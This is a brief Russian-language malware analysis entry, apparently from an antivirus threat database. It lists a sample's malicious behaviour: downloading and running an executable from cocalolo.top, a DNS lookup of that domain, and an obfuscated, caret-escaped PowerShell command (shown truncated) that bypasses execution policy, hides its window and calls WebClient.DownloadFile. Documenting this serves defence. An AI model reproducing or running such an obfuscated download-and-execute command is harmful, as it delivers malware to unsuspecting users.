Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://cocalolo.top/search.php как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C "P^OWErSH^el^l^.EXe -Ex^ECut^ionp^O^l^I^cy bY^P^A^s^S -^nOP^r^OFILE^ -WiNDowStyL^e HidDen^ ^(^new-ob^JeC^T^ S^Ys^tE^m.^N^ET^.W^EB^CL^IEnT^).Do^w^nLO^ADfilE('http://cocalol...
Сетевая активность
UDP
- DNS ASK co###olo.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C "P^OWErSH^el^l^.EXe -Ex^ECut^ionp^O^l^I^cy bY^P^A^s^S -^nOP^r^OFILE^ -WiNDowStyL^e HidDen^ ^(^new-ob^JeC^T^ S^Ys^tE^m.^N^ET^.W^EB^CL^IEnT^).Do^w^nLO^ADfilE('http://cocalol...' (со скрытым окном)
